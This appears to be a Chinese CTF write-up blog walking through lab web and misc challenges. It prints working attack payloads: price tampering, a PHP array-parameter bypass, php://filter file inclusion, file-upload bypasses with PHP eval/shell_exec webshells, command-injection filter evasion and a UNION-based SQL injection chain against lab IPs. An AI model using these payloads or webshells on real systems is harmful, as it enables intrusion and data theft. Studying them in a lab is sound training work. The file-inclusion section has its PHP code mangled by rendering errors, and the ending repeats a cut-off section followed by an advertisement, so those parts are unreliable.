得到了FLAG:
总结一下这道题:
挑战内容:
- 参赛者有1000元的余额。
- FLAG商品的价格被设置为999999元,远超过参赛者的余额。
- 购买商品的流程包含提交一个包含商品ID和价格的表单。
- 参赛者需要找到一种方法以他们的余额购买FLAG商品。
解决方法:
通过使用Burp Suite等工具来拦截和篡改发往服务器的HTTP请求,特别是修改价格字段的值,从而尝试以低于正常价格的金额购买FLAG商品。
涉及的关键概念:
- 客户端与服务器交互:理解Web应用中客户端如何通过HTTP请求与服务器进行交互。
- HTTP请求篡改:学习如何使用代理工具拦截和修改HTTP请求。
- 输入验证和处理:认识到在服务器端进行严格的输入验证的重要性,以及验证应该包括哪些方面(如价格验证)。
安全启示:
- 客户端验证不足够:仅在客户端进行输入验证是不安全的,因为客户端发送的数据可以被篡改。
- 服务器端验证至关重要:服务器应该对所有接收到的数据进行验证,确保它们符合期望的标准和逻辑。
- 数据完整性和业务逻辑:Web应用的业务逻辑应确保所有交易的合理性,包括价格检查、库存管理等。
技术与策略:
- 使用代理工具(如Burp Suite)进行网络通信的拦截和篡改。
- 理解Web表单的提交机制,以及如何通过篡改表单值来测试服务器端的验证机制。
这个挑战提供了一个实际操作的机会,通过它可以学习到网络安全基础、数据篡改技术和必要的防御策略,这对于理解和提升Web应用的安全性至关重要。
本题完。
3.Gentle_sister
看看它的源代码:
最重要的是中间的这个PHP脚本,这个脚本用于处理一个名为my_parameter的GET参数,脚本的逻辑如下:
首先,脚本会检查GET请求中是否存在my_paremeter参数,如果不存在,脚本就不会进行下一步操作。然后,脚本使用preg_match函数和正则表达式/[0-9]/来检查my_parameter函数中是否存在数字,如果存在数字(形如my_parameter=value123),则会输出error!
最后使用Intval函数尝试将$my_paramter参数的值转换为一个整数,如果转化的值为非零(即参数值可以被解析为一个非零整数),则会输出flag的值。
明白了代码逻辑,就可以做这道题了。
显而易见,PHP脚本是在Gentle_sister.php这个文件中的,因此,我们传递参数的页面也在http://172.16.17.201:50183/Gentle_sister.php。
构造的payloa为http://172.16.17.201:50183/Gentle_sister.php/?my_parameter[]=1
可以直接访问也可以Hackbar工具传参。
通过使用my_parameter[]=1,相当于是告诉服务器,我们在传递的是一个包含1的数组而非数字或字符串,在这种情况下,$_GET[‘my_parameter’]得到的将是一个数组,而不是一个单一的值。原本脚本的设计是利用preg_match函数和正则表达式来检查my_parameter的值中是否包含数字,然而,当my_parameter是一个数组时,函数无法处理这样的输入,从而直接绕过检查。
脚本中的intval函数用于将my_parameter参数的值转换为整数,但这里参数的值是数组,因此函数无法工作。因为它期待的是可以转换为整数的数字或字符串。
因此,我们可以绕过两处检查,从而输出flag的内容。
总结一下:
这道题的考点是PHP特性。PHP是一种类型松散的语言,意味着它在处理不同类型的数据时可以非常灵活,PHP允许通过在参数名后面添加[]的方式来传递数组作为GET或POST请求的一部分,如果脚本没有正确地处理预期之外的数组输入,攻击者可能会利用这个特性来绕过安全检查。
对外部输入的有效验证是PHP应用安全的关键,在上述的情况中,未对my_parameter的类型进行检查就直接操作,展示了输入验证不充分的问题。
本题完。
4.一个朴实无华的页面
这是一道文件包含的题目,刚开始我还以为是sql注入,考核的时候就一直卡着没有做出来。
补充知识:
robots.txt
是一个存放在网站根目录下的文本文件,它向访问网站的搜索引擎爬虫指示了哪些页面可以抓取,哪些不可以。这个文件主要用于网站的搜索引擎优化(SEO),并不是PHP特有的概念,而是互联网上的标准协议,称为“爬虫排除标准”(Robots Exclusion Protocol)。
因此,这里我们直接访问http://172.16.17.201:50074/robots.txt
这表示了该网站使用了robots.txt文件来告诉所有遵循“爬虫排除标准”的搜索引擎爬虫(User-agent: *表示这适用于所有爬虫),它们不应该尝试访问或索取网站路径下的/0e1G7.php页面。说简单点,就是这个指令实在请求所有的搜索引擎爬虫不要抓取0e1G7.php这个特定的文件。
补充一下:
这个文件和其中的指令对人类访问者没有任何的影响,如果页面没有访问控制的措施,任何人都可以访问0e1G7.php这个文件。robots.txt文件是可以公开访问的,这意味着任何人都可以查看网站请求哪些部分不要被索引。这有时会泄露网站的一些信息。
那我们就看看这个0e1G7.php文件中有个啥:
这是一个php脚本。从中我们可以知道flag在flag.php中,当然,直接访问flag.php肯定是不行的,不然也不会有这老些代码。
代码分析:
//flag in flag.php就是说flag在flag.php这个文件里面。
if(isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: …T['G7'])){这句话检查_GET数组中是否存在G7键,$_GET 数组用于收集通过URL参数传递的数据,如果URL中有?G7= ,那么这个条件为真
$file= _ G E T [ ′ G 7 ′ ] ; 将 \_GET['G7'];将 _GET[′G7′];将_GET[‘G7’]的值赋给变量 f i l e ,这意味着 file,这意味着 file,这意味着_file变量的内容取决于URL参数G7的值。
$file = str_replace(“base”, “???”, f i l e ) ; 会在变量 file);会在变量 file);会在变量file中寻找所有的"base"字符串,并把它们替换为???。
include( f i l e ) ; 这段代码尝试包含并执行由 file);这段代码尝试包含并执行由 file);这段代码尝试包含并执行由file变量指定的文件(这里当然就是要指定为flag.php文件),
include
是PHP中用于在脚本执行时引入并运行另一个文件的语句。如果文件不存在或路径不正确,PHP会发出警告,但脚本会继续执行。
这个问题的核心在于理解PHP的文件包含机制、字符串处理以及流封装协议的使用。直接访问
flag.php
无响应,而通过php://filter
协议编码flag.php
的内容则成功返回flag
这涉及到几个关键点的绕过和利用:
- 字符串替换绕过:源代码中的
str\_replace("base", "???", $file);
这一行试图阻止包含任何包含"base"字符串的文件名。在使用php://filter/read=convert.Base64-encode/resource=flag.php
的URL中,使用Base绕过对base的替换。
- 流封装协议的利用: 使用
php://filter
是绕过文件包含保护机制的关键。php://filter
允许你在包含文件之前对文件内容进行处理。在这个例子中,利用了read=convert.Base64-encode
过滤器,这意味着在文件包含(执行)之前,文件内容首先被Base64编码。因为Base64编码后的内容只是一串字符,所以include()
操作并不会执行其中的PHP代码,而是将其作为普通文本输出。
- 绕过PHP执行:直接访问
flag.php
可能因为服务器配置或文件权限问题没有响应。PHP文件在被include
时通常会被执行,如果flag.php
里没有直接输出内容(假设flag是通过某种PHP变量或函数定义的),直接包含flag.php
不会显示flag。但通过php://filter
对内容进行Base64编码,然后输出,可以绕过这个问题,因为我们关心的是文件的原始内容,而不是执行结果。
总结来说,
<?G7=php://filter/read=convert.Base64-encode/resource=flag.php>
这个URL成功输出flag的原因,在于它巧妙地利用了PHP的流封装协议来绕过字符串替换限制,并且通过Base64编码文件内容,避免了PHP代码的执行,直接以文本形式输出文件内容。这种方式既绕过了可能对文件直接包含做出的限制,也避免了服务器配置或权限问题可能导致的直接执行失败。
构造的payload:http://172.16.17.201:50074/0e1G7.php?G7=php://filter/read=convert.Base64-encode/resource=flag.php
得到一串base64编码
解码后就得到flag啦。
本题完。
5.这都不做
这是一道文件上传漏洞利用的题目。
首先介绍一下什么是文件上传漏洞,什么是一句话木马:
需要绕过的地方
- 文件类型验证:服务器可能会限制可以上传的文件类型,通常通过检查文件扩展名来实施。
- 内容验证:服务器可能会检查文件的MIME类型或文件内容,以确保上传的是合法的图像或文档文件等。
- 文件大小限制:上传的文件大小可能受到限制。
- 服务端代码执行防护:服务器可能会尝试阻止上传的文件被执行,特别是对于脚本文件。
绕过的方式
- 扩展名绕过:尝试改变文件扩展名或使用服务器允许的其他扩展名,例如将
.php
文件改为.php5
、.phtml
等。- 利用双写扩展名:如
shell.php.jpg
,某些服务器可能会误认为是合法的图片文件,实则最终以PHP文件执行。- MIME类型欺骗:在HTTP请求中修改
Content-Type
头,尝试绕过基于MIME类型的验证。- 内容混淆:将恶意代码嵌入到看似合法的文件中,如将PHP代码隐藏在图像文件中,尝试绕过内容基的检查。
- 利用服务器配置错误:有些服务器配置可能允许执行带有特定扩展名的文件,甚至在文件名中包含某些关键字。
- 利用文件解析漏洞:某些Web服务器或应用程序在解析文件时存在缺陷,如Apache的多后缀处理,可被利用来执行脚本。
一句话木马
一旦绕过了文件上传的限制,可以上传一句话木马来获取webshell。一句话木马通常是极其简短的脚本代码,用于远程执行命令,如:
<?php eval($_POST['cmd']); ?>
成功上传后,攻击者可以通过发送HTTP POST请求并携带
cmd
参数来执行服务器上的任意命令。所以,我们这里的核心就是要绕过各种各样奇奇怪怪的上传限制,把一句话木马上传到服务器上并使他解释为PHP代码执行,我们就可以进行远程命令执行,相当于获得了管理员权限。
经过多次测试后,这道题目一共需要绕过三处:
1,文件名双写绕过2,文件类型绕过
3,PHP短标签绕过
绕过文件上传漏洞我们一般使用Burpsite,没错,又是这个老朋友。
使用Burpsuite工具抓包,抓包方法与前面一样。
右键发送到repeater重放器改包:
需要修改的是这三处:
经过多次尝试,服务器会将上传的文件后缀注释掉,不是.php结尾的文件,自然不会被服务器当做php代码执行。所以我们这里需要双写php,即在.php中间再加一个php,即为.pphphp,服务器会注释掉中间的php,还剩一个.php,其中的代码就可以被服务器执行。
还有一处需要绕过的是Content-type,即文件类型,这是文件上传漏洞题目中需要修改最多的地方,基本上每一题都要改这个地方。这里默认的是application/octet-stream,经过尝试报错,可以知道这里服务器只允许上传jpg图片文件,jpg文件的Content-type是image/jpeg。
最后一处需要绕过的地方是php短标签,这是需要补充的知识:
在PHP中,短标签(short tag)是一种简写形式的PHP标签。标准的PHP标签是
<?php
和?>
,而短标签则是<?
和?>
。短标签的使用可以让PHP代码更简洁,但它需要在php.ini
配置文件中通过short\_open\_tag
选项被明确地启用。由于不是所有的服务器都启用了短标签,依赖短标签的代码可能在某些环境中无法正常运行,因此使用短标签可能会导致可移植性问题。短标签绕过
在文件上传漏洞的上下文中,"短标签绕过"通常指的是攻击者利用目标服务器开启了对PHP短标签的支持这一点,通过上传包含短标签(如
<?
)的恶意PHP代码来执行远程代码。这是因为服务器可能仅仅检查文件是否包含标准的PHP开头标签(<?php
),而忽略了短标签。例如,如果攻击者知道目标服务器启用了PHP短标签,但文件上传过滤器只检查是否存在
<?php
标签来决定文件是否包含PHP代码,那么攻击者可以利用这个漏洞通过上传包含<?
开头的PHP代码来绕过过滤器。绕过示例
比如,一个简单的一句话木马PHP脚本,使用标准PHP标签可能是这样的:
<?php eval($\_REQUEST['code']); ?>但如果服务器开启了短标签支持,攻击者可以利用短标签绕过,简化为:
<? eval($\_REQUEST['code']); ?>或者更加隐蔽地使用:
<?=shell\_exec($\_GET['cmd'])?>这里
<?=
是另一种形式的短标签,用于输出,但它在PHP 5.4.0及更高版本中默认开启,不受short\_open\_tag
配置选项的影响。
综上所述,需要修改的地方如图所示,然后点击放行:
(这里我们在一句话木马的内容前面加上GIF89a,这是GIF文件的标识,可以做到更好的隐藏。而且我们检验上传是否成功的方法一般为直接访问上传的一句话木马文件,在已经绕过所有限制,并且上传成功的前提下,服务器会执行我们上传的脚本,但是GIF89a只是一个标识,并不会被执行,访问文件时会正常显示在页面上,也方便我们自查一句话木马是否上传成功)
最后让我们猜路径,可以看到,处理文件上传的php脚本为upload.php,所以我们猜测存放上传文件的路径为/uplpad文件夹。
可以看到,这个php文件已经成功上传并被服务器执行。既然已经植入了木马,那我们也可以进行命令执行了。归根结底,我们需要找到的flag存放于网站某个目录下的某个文件中,我们要做的就是找到这个文件,并且读取文件中的内容。这里有两种做法,一种是直接在一句话木马界面进行命令执行,还有一种是使用中国蚁剑这个工具,可以连接已经上传的木马文件,从而获得访问网站目录等管理员权限。其实两种方法的原理都是一样的,只不过蚁剑提供了一个图形化界面,更加便捷。
首先我们进行第一种方式,命令执行:
这里我们使用的工具是浏览器插件Hackbar,注意,这里可不能直接通过URL访问,因为我们的一句话木马是要用POST请求方式才能起作用,直接访问默认使用的是GET请求方式。在一句话木马的界面,F12打开Hackbar工具,勾选POST Data,在下方的参数框中填入shell=system(‘ls’);,意为列出当前目录下所有文件。出现yjh.php,说明命令起作用了。
shell=system(‘ls /’);去根目录看看,可以看到flag文件
shell=system(‘cat /flag’);使用cat命令查看flag文件中的内容
第二种方法:使用中国蚁剑工具:
右键空白页面添加数据,填上一句话木马的路径,密码为shell,测试连接
添加数据,直接双击第一个数据,查看网站目录,点击 / 查看网站根目录,即可在根目录中找到flag文件,双击查看就能看到flag。
本题完。
6.Rceeee
我们先来了解一下什么是rce:
RCE漏洞,即远程代码执行漏洞,是一种安全漏洞,它允许攻击者在目标系统或进程中执行任意代码。这就意味着攻击者能够控制目标计算机执行他们想要的操作,例如访问敏感数据、安装恶意软件或者创建后门。
利用RCE漏洞通常涉及以下几个步骤:
- 发现漏洞:通过各种手段(如扫描工具、代码审计或提示信息)发现目标系统中存在的RCE漏洞。
- 制作攻击载荷:根据具体的漏洞特征,创建一个特制的代码或命令序列,即攻击载荷。
- 传递和触发:通过网络请求或其他方式,将攻击载荷发送到目标系统,并促使系统执行这段代码。
- 控制和操作:一旦攻击载荷被执行,攻击者可以根据需要进行各种操作。
在CTF(Capture The Flag)竞赛中,RCE漏洞是一类常见的题目,它考验参赛者发现和利用这些漏洞的能力。在CTF比赛的攻防环境里,RCE漏洞的利用是为了攻击对手或者获得系统的权限,从而抓取到标志物(即Flag),得分赢得比赛。这些竞赛通常是在一个控制和法律允许的环境中进行,旨在通过实战演练来提高参与者的安全技能。
回过来看这道题目:
让我们逐行解释一下这个php脚本都干了些啥:
<?php
: 这是PHP代码开始的标志。
error\_reporting(0);
: 这行代码设置了PHP的错误报告级别。数字0表示禁止所有的错误报告,这通常用于生产环境中防止用户看到错误信息。
highlight\_file(\_\_FILE\_\_);
: 这个函数的作用是将当前文件的源代码显示在浏览器中,并且以高亮显示。\_\_FILE\_\_
是一个魔术常量,指向当前执行的脚本文件。
function strCheck($cmd) { ... }
: 定义了一个名为strCheck
的函数,它接受一个参数$cmd
,即用户输入的命令。
if(!preg\_match("/\;|\&|\\$|\x09|\x26|tac|cat|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
: 使用正则表达式检查$cmd
变量中是否含有列出的一系列字符或单词(如分号、&、$、制表符、tac、cat等)。这个检查是不区分大小写的,因为正则表达式的末尾有一个i
修饰符。
return($cmd);
: 如果preg\_match
检查不匹配(即$cmd
中不包含那些字符或单词),函数就会返回$cmd
。
else { die("你的想法很有趣....."); }
: 如果检测到了非法字符或单词,脚本执行将停止,并显示一条消息 “你的想法很有趣…”。
$cmd=$\_GET['cmd'];
: 这行代码从URL的查询字符串中获取cmd
参数的值,并将其赋给变量$cmd
。
strCheck($cmd);
: 对变量$cmd
调用strCheck
函数以检查可能的非法字符或命令。
shell\_exec($cmd);
: 如果$cmd
通过了strCheck
函数的检查,这个命令就会执行。shell\_exec
函数用于执行一个命令并通过字符串返回输出,它是PHP中用于执行外部程序的一个函数。
我们这里的思路是,绕过所有的字符和单词检查,使用tee命令,保存输出的flag的内容到文件中然后直接访问,得到flag。这里用到的命令为?cmd=c\at /fl\ag | tee 1.txt。
这个题目设计了一个基本的安全机制来过滤掉潜在的危险命令。这个机制通过
strCheck
函数实现,它检查传入的$cmd
变量,如果发现一系列特定的字符或命令关键词,如 “;”, “&”, “tac”, “cat” 等,就会终止执行。构造的 payload 是
http://172.16.17.201:50082/?cmd=c\at /fl\ag | tee 1.txt
。这个payload的关键在于绕过了strCheck
函数的检测。具体来说:
命令拆分:使用了
\
来逃避strCheck
函数对 “cat” 和 “flag” 这两个词的检测。实际上命令变成了cat /flag
,这是一条合法的命令,用于读取名为 “flag” 的文件。命令执行:使用
| tee 1.txt
将cat
命令的输出不仅显示在屏幕上,还同时写入名为 “1.txt” 的文件。这样做的目的是为了绕过可能的输出限制,即使直接的命令执行结果无法在网页上显示,输出内容也会被保存到服务器上的 “1.txt” 文件中。当访问
http://172.16.17.201:50082/1.txt
时,就能看到保存在 “1.txt” 文件中的 flag。这是因为这个文件现在存储在Web服务器的根目录下,可以像访问其他网页资源一样通过URL直接访问。因此,这种 payload 的关键在于巧妙绕过了安全检测,同时保证了命令执行的结果可以被存储和访问。
解释一下,?cmd=c\at /fl\ag | tee 1.txt 利用了管道命令。翻译一下就是这个
cmd
参数通过绕过安全过滤尝试读取文件/flag
的内容,并将输出同时保存到服务器上的1.txt
文件中。
本题完。
7.斗宗强者恐怖如斯
一个后台管理页面,提示账号为admin,可以爆破出密码为admin123,来到SQL注入页面。
http://172.16.17.201:50093/wyr_secrets.php?id=1’报错,说明存在SQL注入
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,3 – -查看显示位
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,database()-- -看数据库名
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘xitif_sql’ – -查看表名
注意,这里的语句中information会被服务器注释掉or,因此需要双写为infoorrmation
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag’ – -得到字段为flAg
最后http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(flAg) from xitif_sql.flag – -得到flag
本题完
MISC
1.不要尝试爆破哟!
有个key.png,有个加密的压缩包,不用说,压缩包的密码就在图片里
题目的提示是LSB隐写,使用stegslove工具打开图片分析
可以在preview中看到密码,但是这里的密码不能有空格,所以我们Save Bin保存一下文件
用记事本打开bin文件,就能得到密钥,注意是花括号中的部分
用得到的密钥解压压缩包,得到一个文本文件,是图片转为base64编码的内容
全部复制,将base64编码转为图片,在线转换地址base64转图片 - 爱资料工具https://www.toolnb.com/tools/base64ToImages.html
得到了一个残缺的二维码,缺了三个定位角。下载一张定位角图片,去PS或者PPT把残缺的三个定位角P上
也可以直接截图我这里的
P图,需要做到心不慌手不抖
然后用在线工具识别一下就能得到flag
本题完。
2.留个后门
这道题需要用到代码审计的工具为D盾(dsafe),将文件解压后把整个文件夹拖到D盾中即可自动开始扫描。
答案已经出来了,就是this_is_answer套上Yunxi{}
本题完。
3.师姐的旅游照片
是一个名称为png的图片,加上后缀,就能得到一张图片,既然说要得到猪脚图片,那么肯定是图片里面还有一张图片
丢到winhex里边分析一下,可以在最后看到一串base64编码,解码后是前半段flag
丢到Kali Linux虚拟机使用foremost工具分离
分离的命令为:
foremost -o /home/kali/桌面/2 '/home/kali/桌面/师姐的旅游照片.png'
运行成功后可以在桌面上得到一个名为2的文件夹
打开zip文件,其中的压缩包就是分离出来的文件,把它复制到桌面上
解压后是一张猪脚图片,题目提示的很明显了,修改图片的高为1607
修改0320(原图片高800的十六进制数值)为0647(1607转换为十六进制的数值)
保存后即可看到后半段flag
本题完。
4.来听一首music
音频隐写题目,要用到的工具是MP3stego,压缩包的first文件夹中有一个音频文件,有一个图片,音频文件的密码就在图片属性内。
将音频放到MP3stego的文件夹内,在文件夹中打开命令行工具
使用的命令为
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
4.来听一首music
音频隐写题目,要用到的工具是MP3stego,压缩包的first文件夹中有一个音频文件,有一个图片,音频文件的密码就在图片属性内。
将音频放到MP3stego的文件夹内,在文件夹中打开命令行工具
使用的命令为
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!